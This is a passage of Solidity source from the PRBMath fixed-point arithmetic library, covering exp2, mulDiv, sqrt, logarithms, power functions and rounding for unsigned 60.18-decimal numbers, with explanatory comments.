result = (result * 0x10000058B90CF1E6E) >> 64;
}
if (x & 0x40000000000 > 0) {
result = (result * 0x1000002C5C863B73F) >> 64;
}
if (x & 0x20000000000 > 0) {
result = (result * 0x100000162E430E5A2) >> 64;
}
if (x & 0x10000000000 > 0) {
result = (result * 0x1000000B172183551) >> 64;
}
if (x & 0x8000000000 > 0) {
result = (result * 0x100000058B90C0B49) >> 64;
}
if (x & 0x4000000000 > 0) {
result = (result * 0x10000002C5C8601CC) >> 64;
}
if (x & 0x2000000000 > 0) {
result = (result * 0x1000000162E42FFF0) >> 64;
}
if (x & 0x1000000000 > 0) {
result = (result * 0x10000000B17217FBB) >> 64;
}
if (x & 0x800000000 > 0) {
result = (result * 0x1000000058B90BFCE) >> 64;
}
if (x & 0x400000000 > 0) {
result = (result * 0x100000002C5C85FE3) >> 64;
}
if (x & 0x200000000 > 0) {
result = (result * 0x10000000162E42FF1) >> 64;
}
if (x & 0x100000000 > 0) {
result = (result * 0x100000000B17217F8) >> 64;
}
if (x & 0x80000000 > 0) {
result = (result * 0x10000000058B90BFC) >> 64;
}
if (x & 0x40000000 > 0) {
result = (result * 0x1000000002C5C85FE) >> 64;
}
if (x & 0x20000000 > 0) {
result = (result * 0x100000000162E42FF) >> 64;
}
if (x & 0x10000000 > 0) {
result = (result * 0x1000000000B17217F) >> 64;
}
if (x & 0x8000000 > 0) {
result = (result * 0x100000000058B90C0) >> 64;
}
if (x & 0x4000000 > 0) {
result = (result * 0x10000000002C5C860) >> 64;
}
if (x & 0x2000000 > 0) {
result = (result * 0x1000000000162E430) >> 64;
}
if (x & 0x1000000 > 0) {
result = (result * 0x10000000000B17218) >> 64;
}
if (x & 0x800000 > 0) {
result = (result * 0x1000000000058B90C) >> 64;
}
if (x & 0x400000 > 0) {
result = (result * 0x100000000002C5C86) >> 64;
}
if (x & 0x200000 > 0) {
result = (result * 0x10000000000162E43) >> 64;
}
if (x & 0x100000 > 0) {
result = (result * 0x100000000000B1721) >> 64;
}
if (x & 0x80000 > 0) {
result = (result * 0x10000000000058B91) >> 64;
}
if (x & 0x40000 > 0) {
result = (result * 0x1000000000002C5C8) >> 64;
}
if (x & 0x20000 > 0) {
result = (result * 0x100000000000162E4) >> 64;
}
if (x & 0x10000 > 0) {
result = (result * 0x1000000000000B172) >> 64;
}
if (x & 0x8000 > 0) {
result = (result * 0x100000000000058B9) >> 64;
}
if (x & 0x4000 > 0) {
result = (result * 0x10000000000002C5D) >> 64;
}
if (x & 0x2000 > 0) {
result = (result * 0x1000000000000162E) >> 64;
}
if (x & 0x1000 > 0) {
result = (result * 0x10000000000000B17) >> 64;
}
if (x & 0x800 > 0) {
result = (result * 0x1000000000000058C) >> 64;
}
if (x & 0x400 > 0) {
result = (result * 0x100000000000002C6) >> 64;
}
if (x & 0x200 > 0) {
result = (result * 0x10000000000000163) >> 64;
}
if (x & 0x100 > 0) {
result = (result * 0x100000000000000B1) >> 64;
}
if (x & 0x80 > 0) {
result = (result * 0x10000000000000059) >> 64;
}
if (x & 0x40 > 0) {
result = (result * 0x1000000000000002C) >> 64;
}
if (x & 0x20 > 0) {
result = (result * 0x10000000000000016) >> 64;
}
if (x & 0x10 > 0) {
result = (result * 0x1000000000000000B) >> 64;
}
if (x & 0x8 > 0) {
result = (result * 0x10000000000000006) >> 64;
}
if (x & 0x4 > 0) {
result = (result * 0x10000000000000003) >> 64;
}
if (x & 0x2 > 0) {
result = (result * 0x10000000000000001) >> 64;
}
if (x & 0x1 > 0) {
result = (result * 0x10000000000000001) >> 64;
}
// We're doing two things at the same time:
//
// 1. Multiply the result by 2^n + 1, where "2^n" is the integer part and the one is added to account for
// the fact that we initially set the result to 0.5. This is accomplished by subtracting from 191
// rather than 192.
// 2. Convert the result to the unsigned 60.18-decimal fixed-point format.
//
// This works because 2^(191-ip) = 2^ip / 2^191, where "ip" is the integer part "2^n".
result *= SCALE;
result >>= (191 - (x >> 64));
}
}
/// @notice Finds the zero-based index of the first one in the binary representation of x.
/// @dev See the note on msb in the "Find First Set" Wikipedia article https://en.wikipedia.org/wiki/Find_first_set
/// @param x The uint256 number for which to find the index of the most significant bit.
/// @return msb The index of the most significant bit as an uint256.
function mostSignificantBit(uint256 x) internal pure returns (uint256 msb) {
if (x >= 2**128) {
x >>= 128;
msb += 128;
}
if (x >= 2**64) {
x >>= 64;
msb += 64;
}
if (x >= 2**32) {
x >>= 32;
msb += 32;
}
if (x >= 2**16) {
x >>= 16;
msb += 16;
}
if (x >= 2**8) {
x >>= 8;
msb += 8;
}
if (x >= 2**4) {
x >>= 4;
msb += 4;
}
if (x >= 2**2) {
x >>= 2;
msb += 2;
}
if (x >= 2**1) {
// No need to shift x any more.
msb += 1;
}
}
/// @notice Calculates floor(x*y÷denominator) with full precision.
///
/// @dev Credit to Remco Bloemen under MIT license https://xn--2-umb.com/21/muldiv.
///
/// Requirements:
/// - The denominator cannot be zero.
/// - The result must fit within uint256.
///
/// Caveats:
/// - This function does not work with fixed-point numbers.
///
/// @param x The multiplicand as an uint256.
/// @param y The multiplier as an uint256.
/// @param denominator The divisor as an uint256.
/// @return result The result as an uint256.
function mulDiv(
uint256 x,
uint256 y,
uint256 denominator
) internal pure returns (uint256 result) {
// 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use
// use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256
// variables such that product = prod1 * 2^256 + prod0.
uint256 prod0; // Least significant 256 bits of the product
uint256 prod1; // Most significant 256 bits of the product
assembly {
let mm := mulmod(x, y, not(0))
prod0 := mul(x, y)
prod1 := sub(sub(mm, prod0), lt(mm, prod0))
}
// Handle non-overflow cases, 256 by 256 division.
if (prod1 == 0) {
unchecked {
result = prod0 / denominator;
}
return result;
}
// Make sure the result is less than 2^256. Also prevents denominator == 0.
if (prod1 >= denominator) {
revert PRBMath__MulDivOverflow(prod1, denominator);
}
///////////////////////////////////////////////
// 512 by 256 division.
///////////////////////////////////////////////
// Make division exact by subtracting the remainder from [prod1 prod0].
uint256 remainder;
assembly {
// Compute remainder using mulmod.
remainder := mulmod(x, y, denominator)
// Subtract 256 bit number from 512 bit number.
prod1 := sub(prod1, gt(remainder, prod0))
prod0 := sub(prod0, remainder)
}
// Factor powers of two out of denominator and compute largest power of two divisor of denominator. Always >= 1.
// See https://cs.stackexchange.com/q/138556/92363.
unchecked {
// Does not overflow because the denominator cannot be zero at this stage in the function.
uint256 lpotdod = denominator & (~denominator + 1);
assembly {
// Divide denominator by lpotdod.
denominator := div(denominator, lpotdod)
// Divide [prod1 prod0] by lpotdod.
prod0 := div(prod0, lpotdod)
// Flip lpotdod such that it is 2^256 / lpotdod. If lpotdod is zero, then it becomes one.
lpotdod := add(div(sub(0, lpotdod), lpotdod), 1)
}
// Shift in bits from prod1 into prod0.
prod0 |= prod1 * lpotdod;
// Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such
// that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for
// four bits. That is, denominator * inv = 1 mod 2^4.
uint256 inverse = (3 * denominator) ^ 2;
// Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also works
// in modular arithmetic, doubling the correct bits in each step.
inverse *= 2 - denominator * inverse; // inverse mod 2^8
inverse *= 2 - denominator * inverse; // inverse mod 2^16
inverse *= 2 - denominator * inverse; // inverse mod 2^32
inverse *= 2 - denominator * inverse; // inverse mod 2^64
inverse *= 2 - denominator * inverse; // inverse mod 2^128
inverse *= 2 - denominator * inverse; // inverse mod 2^256
// Because the division is now exact we can divide by multiplying with the modular inverse of denominator.
// This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is
// less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1
// is no longer required.
result = prod0 * inverse;
return result;
}
}
/// @notice Calculates floor(x*y÷1e18) with full precision.
///
/// @dev Variant of "mulDiv" with constant folding, i.e. in which the denominator is always 1e18. Before returning the
/// final result, we add 1 if (x * y) % SCALE >= HALF_SCALE. Without this, 6.6e-19 would be truncated to 0 instead of
/// being rounded to 1e-18. See "Listing 6" and text above it at https://accu.org/index.php/journals/1717.
///
/// Requirements:
/// - The result must fit within uint256.
///
/// Caveats:
/// - The body is purposely left uncommented; see the NatSpec comments in "PRBMath.mulDiv" to understand how this works.
/// - It is assumed that the result can never be type(uint256).max when x and y solve the following two equations:
/// 1. x * y = type(uint256).max * SCALE
/// 2. (x * y) % SCALE >= SCALE / 2
///
/// @param x The multiplicand as an unsigned 60.18-decimal fixed-point number.
/// @param y The multiplier as an unsigned 60.18-decimal fixed-point number.
/// @return result The result as an unsigned 60.18-decimal fixed-point number.
function mulDivFixedPoint(uint256 x, uint256 y) internal pure returns (uint256 result) {
uint256 prod0;
uint256 prod1;
assembly {
let mm := mulmod(x, y, not(0))
prod0 := mul(x, y)
prod1 := sub(sub(mm, prod0), lt(mm, prod0))
}
if (prod1 >= SCALE) {
revert PRBMath__MulDivFixedPointOverflow(prod1);
}
uint256 remainder;
uint256 roundUpUnit;
assembly {
remainder := mulmod(x, y, SCALE)
roundUpUnit := gt(remainder, 499999999999999999)
}
if (prod1 == 0) {
unchecked {
result = (prod0 / SCALE) + roundUpUnit;
return result;
}
}
assembly {
result := add(
mul(
or(
div(sub(prod0, remainder), SCALE_LPOTD),
mul(sub(prod1, gt(remainder, prod0)), add(div(sub(0, SCALE_LPOTD), SCALE_LPOTD), 1))
),
SCALE_INVERSE
),
roundUpUnit
)
}
}
/// @notice Calculates floor(x*y÷denominator) with full precision.
///
/// @dev An extension of "mulDiv" for signed numbers. Works by computing the signs and the absolute values separately.
///
/// Requirements:
/// - None of the inputs can be type(int256).min.
/// - The result must fit within int256.
///
/// @param x The multiplicand as an int256.
/// @param y The multiplier as an int256.
/// @param denominator The divisor as an int256.
/// @return result The result as an int256.
function mulDivSigned(
int256 x,
int256 y,
int256 denominator
) internal pure returns (int256 result) {
if (x == type(int256).min || y == type(int256).min || denominator == type(int256).min) {
revert PRBMath__MulDivSignedInputTooSmall();
}
// Get hold of the absolute values of x, y and the denominator.
uint256 ax;
uint256 ay;
uint256 ad;
unchecked {
ax = x < 0 ? uint256(-x) : uint256(x);
ay = y < 0 ? uint256(-y) : uint256(y);
ad = denominator < 0 ? uint256(-denominator) : uint256(denominator);
}
// Compute the absolute value of (x*y)÷denominator. The result must fit within int256.
uint256 rAbs = mulDiv(ax, ay, ad);
if (rAbs > uint256(type(int256).max)) {
revert PRBMath__MulDivSignedOverflow(rAbs);
}
// Get the signs of x, y and the denominator.
uint256 sx;
uint256 sy;
uint256 sd;
assembly {
sx := sgt(x, sub(0, 1))
sy := sgt(y, sub(0, 1))
sd := sgt(denominator, sub(0, 1))
}
// XOR over sx, sy and sd. This is checking whether there are one or three negative signs in the inputs.
// If yes, the result should be negative.
result = sx ^ sy ^ sd == 0 ? -int256(rAbs) : int256(rAbs);
}
/// @notice Calculates the square root of x, rounding down.
/// @dev Uses the Babylonian method https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method.
///
/// Caveats:
/// - This function does not work with fixed-point numbers.
///
/// @param x The uint256 number for which to calculate the square root.
/// @return result The result as an uint256.
function sqrt(uint256 x) internal pure returns (uint256 result) {
if (x == 0) {
return 0;
}
// Set the initial guess to the least power of two that is greater than or equal to sqrt(x).
uint256 xAux = uint256(x);
result = 1;
if (xAux >= 0x100000000000000000000000000000000) {
xAux >>= 128;
result <<= 64;
}
if (xAux >= 0x10000000000000000) {
xAux >>= 64;
result <<= 32;
}
if (xAux >= 0x100000000) {
xAux >>= 32;
result <<= 16;
}
if (xAux >= 0x10000) {
xAux >>= 16;
result <<= 8;
}
if (xAux >= 0x100) {
xAux >>= 8;
result <<= 4;
}
if (xAux >= 0x10) {
xAux >>= 4;
result <<= 2;
}
if (xAux >= 0x8) {
result <<= 1;
}
// The operations can never overflow because the result is max 2^127 when it enters this block.
unchecked {
result = (result + x / result) >> 1;
result = (result + x / result) >> 1;
result = (result + x / result) >> 1;
result = (result + x / result) >> 1;
result = (result + x / result) >> 1;
result = (result + x / result) >> 1;
result = (result + x / result) >> 1; // Seven iterations should be enough
uint256 roundedDownResult = x / result;
return result >= roundedDownResult ? roundedDownResult : result;
}
}
}
/// @title PRBMathUD60x18
/// @author Paul Razvan Berg
/// @notice Smart contract library for advanced fixed-point math that works with uint256 numbers considered to have 18
/// trailing decimals. We call this number representation unsigned 60.18-decimal fixed-point, since there can be up to 60
/// digits in the integer part and up to 18 decimals in the fractional part. The numbers are bound by the minimum and the
/// maximum values permitted by the Solidity type uint256.
library PRBMathUD60x18 {
/// @dev Half the SCALE number.
uint256 internal constant HALF_SCALE = 5e17;
/// @dev log2(e) as an unsigned 60.18-decimal fixed-point number.
uint256 internal constant LOG2_E = 1_442695040888963407;
/// @dev The maximum value an unsigned 60.18-decimal fixed-point number can have.
uint256 internal constant MAX_UD60x18 =
115792089237316195423570985008687907853269984665640564039457_584007913129639935;
/// @dev The maximum whole value an unsigned 60.18-decimal fixed-point number can have.
uint256 internal constant MAX_WHOLE_UD60x18 =
115792089237316195423570985008687907853269984665640564039457_000000000000000000;
/// @dev How many trailing decimals can be represented.
uint256 internal constant SCALE = 1e18;
/// @notice Calculates the arithmetic average of x and y, rounding down.
/// @param x The first operand as an unsigned 60.18-decimal fixed-point number.
/// @param y The second operand as an unsigned 60.18-decimal fixed-point number.
/// @return result The arithmetic average as an unsigned 60.18-decimal fixed-point number.
function avg(uint256 x, uint256 y) internal pure returns (uint256 result) {
// The operations can never overflow.
unchecked {
// The last operand checks if both x and y are odd and if that is the case, we add 1 to the result. We need
// to do this because if both numbers are odd, the 0.5 remainder gets truncated twice.
result = (x >> 1) + (y >> 1) + (x & y & 1);
}
}
/// @notice Yields the least unsigned 60.18 decimal fixed-point number greater than or equal to x.
///
/// @dev Optimized for fractional value inputs, because for every whole value there are (1e18 - 1) fractional counterparts.
/// See https://en.wikipedia.org/wiki/Floor_and_ceiling_functions.
///
/// Requirements:
/// - x must be less than or equal to MAX_WHOLE_UD60x18.
///
/// @param x The unsigned 60.18-decimal fixed-point number to ceil.
/// @param result The least integer greater than or equal to x, as an unsigned 60.18-decimal fixed-point number.
function ceil(uint256 x) internal pure returns (uint256 result) {
if (x > MAX_WHOLE_UD60x18) {
revert PRBMathUD60x18__CeilOverflow(x);
}
assembly {
// Equivalent to "x % SCALE" but faster.
let remainder := mod(x, SCALE)
// Equivalent to "SCALE - remainder" but faster.
let delta := sub(SCALE, remainder)
// Equivalent to "x + delta * (remainder > 0 ? 1 : 0)" but faster.
result := add(x, mul(delta, gt(remainder, 0)))
}
}
/// @notice Divides two unsigned 60.18-decimal fixed-point numbers, returning a new unsigned 60.18-decimal fixed-point number.
///
/// @dev Uses mulDiv to enable overflow-safe multiplication and division.
///
/// Requirements:
/// - The denominator cannot be zero.
///
/// @param x The numerator as an unsigned 60.18-decimal fixed-point number.
/// @param y The denominator as an unsigned 60.18-decimal fixed-point number.
/// @param result The quotient as an unsigned 60.18-decimal fixed-point number.
function div(uint256 x, uint256 y) internal pure returns (uint256 result) {
result = PRBMath.mulDiv(x, SCALE, y);
}
/// @notice Returns Euler's number as an unsigned 60.18-decimal fixed-point number.
/// @dev See https://en.wikipedia.org/wiki/E_(mathematical_constant).
function e() internal pure returns (uint256 result) {
result = 2_718281828459045235;
}
/// @notice Calculates the natural exponent of x.
///
/// @dev Based on the insight that e^x = 2^(x * log2(e)).
///
/// Requirements:
/// - All from "log2".
/// - x must be less than 133.084258667509499441.
///
/// @param x The exponent as an unsigned 60.18-decimal fixed-point number.
/// @return result The result as an unsigned 60.18-decimal fixed-point number.
function exp(uint256 x) internal pure returns (uint256 result) {
// Without this check, the value passed to "exp2" would be greater than 192.
if (x >= 133_084258667509499441) {
revert PRBMathUD60x18__ExpInputTooBig(x);
}
// Do the fixed-point multiplication inline to save gas.
unchecked {
uint256 doubleScaleProduct = x * LOG2_E;
result = exp2((doubleScaleProduct + HALF_SCALE) / SCALE);
}
}
/// @notice Calculates the binary exponent of x using the binary fraction method.
///
/// @dev See https://ethereum.stackexchange.com/q/79903/24693.
///
/// Requirements:
/// - x must be 192 or less.
/// - The result must fit within MAX_UD60x18.
///
/// @param x The exponent as an unsigned 60.18-decimal fixed-point number.
/// @return result The result as an unsigned 60.18-decimal fixed-point number.
function exp2(uint256 x) internal pure returns (uint256 result) {
// 2^192 doesn't fit within the 192.64-bit format used internally in this function.
if (x >= 192e18) {
revert PRBMathUD60x18__Exp2InputTooBig(x);
}
unchecked {
// Convert x to the 192.64-bit fixed-point format.
uint256 x192x64 = (x << 64) / SCALE;
// Pass x to the PRBMath.exp2 function, which uses the 192.64-bit fixed-point number representation.
result = PRBMath.exp2(x192x64);
}
}
/// @notice Yields the greatest unsigned 60.18 decimal fixed-point number less than or equal to x.
/// @dev Optimized for fractional value inputs, because for every whole value there are (1e18 - 1) fractional counterparts.
/// See https://en.wikipedia.org/wiki/Floor_and_ceiling_functions.
/// @param x The unsigned 60.18-decimal fixed-point number to floor.
/// @param result The greatest integer less than or equal to x, as an unsigned 60.18-decimal fixed-point number.
function floor(uint256 x) internal pure returns (uint256 result) {
assembly {
// Equivalent to "x % SCALE" but faster.
let remainder := mod(x, SCALE)
// Equivalent to "x - remainder * (remainder > 0 ? 1 : 0)" but faster.
result := sub(x, mul(remainder, gt(remainder, 0)))
}
}
/// @notice Yields the excess beyond the floor of x.
/// @dev Based on the odd function definition https://en.wikipedia.org/wiki/Fractional_part.
/// @param x The unsigned 60.18-decimal fixed-point number to get the fractional part of.
/// @param result The fractional part of x as an unsigned 60.18-decimal fixed-point number.
function frac(uint256 x) internal pure returns (uint256 result) {
assembly {
result := mod(x, SCALE)
}
}
/// @notice Converts a number from basic integer form to unsigned 60.18-decimal fixed-point representation.
///
/// @dev Requirements:
/// - x must be less than or equal to MAX_UD60x18 divided by SCALE.
///
/// @param x The basic integer to convert.
/// @param result The same number in unsigned 60.18-decimal fixed-point representation.
function fromUint(uint256 x) internal pure returns (uint256 result) {
unchecked {
if (x > MAX_UD60x18 / SCALE) {
revert PRBMathUD60x18__FromUintOverflow(x);
}
result = x * SCALE;
}
}
/// @notice Calculates geometric mean of x and y, i.e. sqrt(x * y), rounding down.
///
/// @dev Requirements:
/// - x * y must fit within MAX_UD60x18, lest it overflows.
///
/// @param x The first operand as an unsigned 60.18-decimal fixed-point number.
/// @param y The second operand as an unsigned 60.18-decimal fixed-point number.
/// @return result The result as an unsigned 60.18-decimal fixed-point number.
function gm(uint256 x, uint256 y) internal pure returns (uint256 result) {
if (x == 0) {
return 0;
}
unchecked {
// Checking for overflow this way is faster than letting Solidity do it.
uint256 xy = x * y;
if (xy / x != y) {
revert PRBMathUD60x18__GmOverflow(x, y);
}
// We don't need to multiply by the SCALE here because the x*y product had already picked up a factor of SCALE
// during multiplication. See the comments within the "sqrt" function.
result = PRBMath.sqrt(xy);
}
}
/// @notice Calculates 1 / x, rounding toward zero.
///
/// @dev Requirements:
/// - x cannot be zero.
///
/// @param x The unsigned 60.18-decimal fixed-point number for which to calculate the inverse.
/// @return result The inverse as an unsigned 60.18-decimal fixed-point number.
function inv(uint256 x) internal pure returns (uint256 result) {
unchecked {
// 1e36 is SCALE * SCALE.
result = 1e36 / x;
}
}
/// @notice Calculates the natural logarithm of x.
///
/// @dev Based on the insight that ln(x) = log2(x) / log2(e).
///
/// Requirements:
/// - All from "log2".
///
/// Caveats:
/// - All from "log2".
/// - This doesn't return exactly 1 for 2.718281828459045235, for that we would need more fine-grained precision.
///
/// @param x The unsigned 60.18-decimal fixed-point number for which to calculate the natural logarithm.
/// @return result The natural logarithm as an unsigned 60.18-decimal fixed-point number.
function ln(uint256 x) internal pure returns (uint256 result) {
// Do the fixed-point multiplication inline to save gas. This is overflow-safe because the maximum value that log2(x)
// can return is 196205294292027477728.
unchecked {
result = (log2(x) * SCALE) / LOG2_E;
}
}
/// @notice Calculates the common logarithm of x.
///
/// @dev First checks if x is an exact power of ten and it stops if yes. If it's not, calculates the common
/// logarithm based on the insight that log10(x) = log2(x) / log2(10).
///
/// Requirements:
/// - All from "log2".
///
/// Caveats:
/// - All from "log2".
///
/// @param x The unsigned 60.18-decimal fixed-point number for which to calculate the common logarithm.
/// @return result The common logarithm as an unsigned 60.18-decimal fixed-point number.
function log10(uint256 x) internal pure returns (uint256 result) {
if (x < SCALE) {
revert PRBMathUD60x18__LogInputTooSmall(x);
}
// Note that the "mul" in this block is the assembly multiplication operation, not the "mul" function defined
// in this contract.
// prettier-ignore
assembly {
switch x
case 1 { result := mul(SCALE, sub(0, 18)) }
case 10 { result := mul(SCALE, sub(1, 18)) }
case 100 { result := mul(SCALE, sub(2, 18)) }
case 1000 { result := mul(SCALE, sub(3, 18)) }
case 10000 { result := mul(SCALE, sub(4, 18)) }
case 100000 { result := mul(SCALE, sub(5, 18)) }
case 1000000 { result := mul(SCALE, sub(6, 18)) }
case 10000000 { result := mul(SCALE, sub(7, 18)) }
case 100000000 { result := mul(SCALE, sub(8, 18)) }
case 1000000000 { result := mul(SCALE, sub(9, 18)) }
case 10000000000 { result := mul(SCALE, sub(10, 18)) }
case 100000000000 { result := mul(SCALE, sub(11, 18)) }
case 1000000000000 { result := mul(SCALE, sub(12, 18)) }
case 10000000000000 { result := mul(SCALE, sub(13, 18)) }
case 100000000000000 { result := mul(SCALE, sub(14, 18)) }
case 1000000000000000 { result := mul(SCALE, sub(15, 18)) }
case 10000000000000000 { result := mul(SCALE, sub(16, 18)) }
case 100000000000000000 { result := mul(SCALE, sub(17, 18)) }
case 1000000000000000000 { result := 0 }
case 10000000000000000000 { result := SCALE }
case 100000000000000000000 { result := mul(SCALE, 2) }
case 1000000000000000000000 { result := mul(SCALE, 3) }
case 10000000000000000000000 { result := mul(SCALE, 4) }
case 100000000000000000000000 { result := mul(SCALE, 5) }
case 1000000000000000000000000 { result := mul(SCALE, 6) }
case 10000000000000000000000000 { result := mul(SCALE, 7) }
case 100000000000000000000000000 { result := mul(SCALE, 8) }
case 1000000000000000000000000000 { result := mul(SCALE, 9) }
case 10000000000000000000000000000 { result := mul(SCALE, 10) }
case 100000000000000000000000000000 { result := mul(SCALE, 11) }
case 1000000000000000000000000000000 { result := mul(SCALE, 12) }
case 10000000000000000000000000000000 { result := mul(SCALE, 13) }
case 100000000000000000000000000000000 { result := mul(SCALE, 14) }
case 1000000000000000000000000000000000 { result := mul(SCALE, 15) }
case 10000000000000000000000000000000000 { result := mul(SCALE, 16) }
case 100000000000000000000000000000000000 { result := mul(SCALE, 17) }
case 1000000000000000000000000000000000000 { result := mul(SCALE, 18) }
case 10000000000000000000000000000000000000 { result := mul(SCALE, 19) }
case 100000000000000000000000000000000000000 { result := mul(SCALE, 20) }
case 1000000000000000000000000000000000000000 { result := mul(SCALE, 21) }
case 10000000000000000000000000000000000000000 { result := mul(SCALE, 22) }
case 100000000000000000000000000000000000000000 { result := mul(SCALE, 23) }
case 1000000000000000000000000000000000000000000 { result := mul(SCALE, 24) }
case 10000000000000000000000000000000000000000000 { result := mul(SCALE, 25) }
case 100000000000000000000000000000000000000000000 { result := mul(SCALE, 26) }
case 1000000000000000000000000000000000000000000000 { result := mul(SCALE, 27) }
case 10000000000000000000000000000000000000000000000 { result := mul(SCALE, 28) }
case 100000000000000000000000000000000000000000000000 { result := mul(SCALE, 29) }
case 1000000000000000000000000000000000000000000000000 { result := mul(SCALE, 30) }
case 10000000000000000000000000000000000000000000000000 { result := mul(SCALE, 31) }
case 100000000000000000000000000000000000000000000000000 { result := mul(SCALE, 32) }
case 1000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 33) }
case 10000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 34) }
case 100000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 35) }
case 1000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 36) }
case 10000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 37) }
case 100000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 38) }
case 1000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 39) }
case 10000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 40) }
case 100000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 41) }
case 1000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 42) }
case 10000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 43) }
case 100000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 44) }
case 1000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 45) }
case 10000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 46) }
case 100000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 47) }
case 1000000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 48) }
case 10000000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 49) }
case 100000000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 50) }
case 1000000000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 51) }
case 10000000000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 52) }
case 100000000000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 53) }
case 1000000000000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 54) }
case 10000000000000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 55) }
case 100000000000000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 56) }
case 1000000000000000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 57) }
case 10000000000000000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 58) }
case 100000000000000000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 59) }
default {
result := MAX_UD60x18
}
}
if (result == MAX_UD60x18) {
// Do the fixed-point division inline to save gas. The denominator is log2(10).
unchecked {
result = (log2(x) * SCALE) / 3_321928094887362347;
}
}
}
/// @notice Calculates the binary logarithm of x.
///
/// @dev Based on the iterative approximation algorithm.
/// https://en.wikipedia.org/wiki/Binary_logarithm#Iterative_approximation
///
/// Requirements:
/// - x must be greater than or equal to SCALE, otherwise the result would be negative.
///
/// Caveats:
/// - The results are nor perfectly accurate to the last decimal, due to the lossy precision of the iterative approximation.
///
/// @param x The unsigned 60.18-decimal fixed-point number for which to calculate the binary logarithm.
/// @return result The binary logarithm as an unsigned 60.18-decimal fixed-point number.
function log2(uint256 x) internal pure returns (uint256 result) {
if (x < SCALE) {
revert PRBMathUD60x18__LogInputTooSmall(x);
}
unchecked {
// Calculate the integer part of the logarithm and add it to the result and finally calculate y = x * 2^(-n).
uint256 n = PRBMath.mostSignificantBit(x / SCALE);
// The integer part of the logarithm as an unsigned 60.18-decimal fixed-point number. The operation can't overflow
// because n is maximum 255 and SCALE is 1e18.
result = n * SCALE;
// This is y = x * 2^(-n).
uint256 y = x >> n;
// If y = 1, the fractional part is zero.
if (y == SCALE) {
return result;
}
// Calculate the fractional part via the iterative approximation.
// The "delta >>= 1" part is equivalent to "delta /= 2", but shifting bits is faster.
for (uint256 delta = HALF_SCALE; delta > 0; delta >>= 1) {
y = (y * y) / SCALE;
// Is y^2 > 2 and so in the range [2,4)?
if (y >= 2 * SCALE) {
// Add the 2^(-m) factor to the logarithm.
result += delta;
// Corresponds to z/2 on Wikipedia.
y >>= 1;
}
}
}
}
/// @notice Multiplies two unsigned 60.18-decimal fixed-point numbers together, returning a new unsigned 60.18-decimal
/// fixed-point number.
/// @dev See the documentation for the "PRBMath.mulDivFixedPoint" function.
/// @param x The multiplicand as an unsigned 60.18-decimal fixed-point number.
/// @param y The multiplier as an unsigned 60.18-decimal fixed-point number.
/// @return result The product as an unsigned 60.18-decimal fixed-point number.
function mul(uint256 x, uint256 y) internal pure returns (uint256 result) {
result = PRBMath.mulDivFixedPoint(x, y);
}
/// @notice Returns PI as an unsigned 60.18-decimal fixed-point number.
function pi() internal pure returns (uint256 result) {
result = 3_141592653589793238;
}
/// @notice Raises x to the power of y.
///
/// @dev Based on the insight that x^y = 2^(log2(x) * y).
///
/// Requirements:
/// - All from "exp2", "log2" and "mul".
///
/// Caveats:
/// - All from "exp2", "log2" and "mul".
/// - Assumes 0^0 is 1.
///
/// @param x Number to raise to given power y, as an unsigned 60.18-decimal fixed-point number.
/// @param y Exponent to raise x to, as an unsigned 60.18-decimal fixed-point number.
/// @return result x raised to power y, as an unsigned 60.18-decimal fixed-point number.
function pow(uint256 x, uint256 y) internal pure returns (uint256 result) {
if (x == 0) {
result = y == 0 ? SCALE : uint256(0);
} else {
result = exp2(mul(log2(x), y));
}
}
/// @notice Raises x (unsigned 60.18-decimal fixed-point number) to the power of y (basic unsigned integer) using the
/// famous algorithm "exponentiation by squaring".
///
/// @dev See https://en.wikipedia.org/wiki/Exponentiation_by_squaring
///
/// Requirements:
/// - The result must fit within MAX_UD60x18.
///
/// Caveats:
/// - All from "mul".
/// - Assumes 0^0 is 1.
///
/// @param x The base as an unsigned 60.18-decimal fixed-point number.
/// @param y The exponent as an uint256.
/// @return result The result as an unsigned 60.18-decimal fixed-point number.
function powu(uint256 x, uint256 y) internal pure returns (uint256 result) {
// Calculate the first iteration of the loop in advance.
result = y & 1 > 0 ? x : SCALE;
// Equivalent to "for(y /= 2; y > 0; y /= 2)" but faster.
for (y >>= 1; y > 0; y >>= 1) {
x = PRBMath.mulDivFixedPoint(x, x);
// Equivalent to "y % 2 == 1" but faster.
if (y & 1 > 0) {
result = PRBMath.mulDivFixedPoint(result, x);
}
}
}
/// @notice Returns 1 as an unsigned 60.18-decimal fixed-point number.
